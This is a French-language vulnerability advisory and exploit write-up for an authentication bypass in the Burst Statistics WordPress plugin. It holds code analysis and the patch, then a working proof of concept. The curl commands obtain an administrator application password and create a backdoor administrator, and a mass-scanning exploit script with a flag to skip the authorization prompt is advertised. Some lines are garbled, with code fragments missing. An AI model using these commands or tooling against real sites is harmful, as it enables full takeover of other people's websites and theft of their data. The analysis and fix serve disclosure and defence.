
Le plugin Burst Statistics – Privacy-Friendly WordPress Analytics (alternative à Google Analytics) pour WordPress est vulnérable au contournement de l’authentification.
Résumé de la vulnérabilité
Le plugin WordPress Burst Statistics versions 3.4.0 à 3.4.1.1 est vulnérable à un contournement d'authentification non authentifié qui permet la prise de contrôle complète du compte administrateur. Cette faille critique permet à un attaquant non authentifié connaissant un nom d'utilisateur administrateur de générer un mot de passe d'application WordPress valide pour ce compte en une seule requête HTTP, obtenant ainsi un accès administrateur persistant à l'ensemble du site.
La vulnérabilité provient de la fonction is_mainwp_authenticated() dans class-mainwp-proxy.php. Cette fonction appelle wp_authenticate_application_password() et vérifie uniquement si le résultat est une WP_Error. Elle ne vérifie pas si le résultat est effectivement un objet WP_User réussi. Lorsque le filtre interne de WordPress renvoie — ce qui se produit lorsque l'appel est effectué en dehors du flux normal d'authentification de l'API REST — la fonction WordPress retourne au lieu d'un ou d'un . Comme n'est pas une , la vérification passe et l'utilisateur administrateur choisi par l'attaquant est défini comme utilisateur courant via .
application_password_is_api_requestfalsenullWP_ErrorWP_UsernullWP_Errorwp_set_current_user()Une fois que l'utilisateur courant est basculé vers un administrateur, les vérifications de capacité suivantes passent. L'attaquant peut alors accéder au point de terminaison REST /burst/v1/mainwp-auth, qui crée un mot de passe d'application WordPress pour le compte administrateur et le renvoie dans la réponse. Cela donne à l'attaquant un accès administrateur complet et persistant.
Plugin concerné
| Champ | Valeur |
|---|---|
| Nom du plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Slug du plugin | burst-statistics |
| Versions affectées | 3.4.0 – 3.4.1.1 |
| Version corrigée | 3.4.2 |
| Identifiant CVE | CVE-2026-8181 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Type de vulnérabilité | Contournement d'authentification (Authentification incorrecte) |
| CWE | CWE-287 — Authentification incorrecte |
| Impact | Prise de contrôle complète du site — Prise de contrôle du compte administrateur |
Ce que les attaquants peuvent faire
| Capacité | Impact |
|---|---|
| Générer un mot de passe d'application pour n'importe quel administrateur | Accès administrateur persistant |
| Créer de nouveaux comptes administrateurs via l'API REST | Prolifération de comptes |
| Installer des plugins / thèmes | Exécution de code à distance |
| Modifier les articles, pages et paramètres | Défiguration du site |
| Exporter ou supprimer toutes les données du site | Destruction / Exfiltration de données |
| Accéder aux données WooCommerce / clients | Violation de données |
Analyse technique
Burst Statistics s'initialise lors du hook plugins_loaded de WordPress à la priorité 9, dans class-burst.php :
// class-burst.php, ligne 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() est le gardien de toutes les fonctionnalités d'administration. Il vérifie la présence de l'en-tête X-BurstMainWP et appelle la fonction vulnérable :
// trait-admin-helper.php, lignes 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lignes 313-342 (vulnérable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNÉRABLE : wp_authenticate_application_password() renvoie null
// en dehors du flux d'authentification de l'API REST
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BOGUE : Vérifie uniquement si le résultat est WP_Error. null n'est PAS WP_Error → PASSE !
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() renvoie nullLa fonction interne de WordPress wp_authenticate_application_password() possède un filtre :
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Pas une requête API, ignorer l'authentification par mot de passe d'application
}
Lorsqu'elle est appelée en dehors du flux d'authentification de l'API REST, cela renvoie null. Le code de Burst Statistics vérifiait seulement is_wp_error($is_valid) — null n'est pas une WP_Error, donc la vérification passe incorrectement.
X-BurstMainWP: 1 avec n'importe quelle requêtehas_admin_access() déclenche is_mainwp_authenticated()wp_authenticate_application_password() renvoie null (hors contexte API)is_wp_error(null) = false → la vérification passewp_set_current_user($admin_id) s'exécute/burst/v1/mainwp-authhandle_auth_request() génère un mot de passe d'application WordPressbase64(username:app_password)// class-mainwp-proxy.php, lignes 399-415 (corrigé 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Correctifs appliqués :
application_password_is_api_request à true pour que la validation réelle du mot de passe ait lieuWP_User (et non null)hash_equals() pour vérifier la correspondance du nom d'utilisateurDe plus, check_auth_permission() du point de terminaison REST a été renforcée pour exiger current_user_can('manage_burst_statistics') et une vérification explicite du nonce pour les requêtes authentifiées par cookie.
Preuve de concept
# Étape 1 : Vérifier que la cible est vulnérable (générer un mot de passe d'application)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Réponse : {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Étape 2 : Décoder le jeton
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Étape 3 : Utiliser le mot de passe d'application pour créer un nouvel administrateur
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
Le script exploit_burst_statistics.py automatise toute la chaîne d'attaque :
readme.txt, en-tête du plugin ou chaînes de requête des assetsX-BurstMainWP: 1 + fausse authentification Basic pour générer un jetonFonctionnalités de l'exploit
/wp-json/) et des permaliens non jolis (/?rest_route=)ThreadPoolExecutorUtilisation
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
Créez targets.txt :
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
| Option | Description |
|---|---|
-t, --target | URL de la cible unique |
-l, --list | Fichier contenant la liste des cibles (une par ligne) |
-T, --threads | Threads pour le scan de masse (défaut : 10) |
-o, --output | Fichier de sortie pour les résultats (défaut : result_burst_statistics.txt) |
-u, --username | Nom d'utilisateur administrateur connu (évite l'énumération) |
-v, --verbose | Sortie de débogage verbeuse |
--timeout | Délai d'attente de la requête en secondes (défaut : 20) |
--no-confirm | Ignorer la demande de confirmation d'autorisation |
Recommandations de correction
Pour les développeurs et propriétaires de sites :
X-BurstMainWP: 1Chronologie
| Date | Événement |
|---|---|
| 2026-05-08 | Réserve CVE |
| 2026-05-11 | Fournisseur notifié |
| 2026-05-13 | Divulgué publiquement |
| 2026-05-13 | Correctif publié (v3.4.2) |
| 2026-05-15 | Exploitation active signalée dans la nature |
Chercheur
Références
Avertissement
Ces informations sont fournies à des fins éducatives et de tests de pénétration autorisés uniquement. L'exploitation non autorisée de systèmes informatiques est illégale et contraire à l'éthique. Obtenez toujours une autorisation écrite explicite avant de tester une cible qui ne vous appartient pas.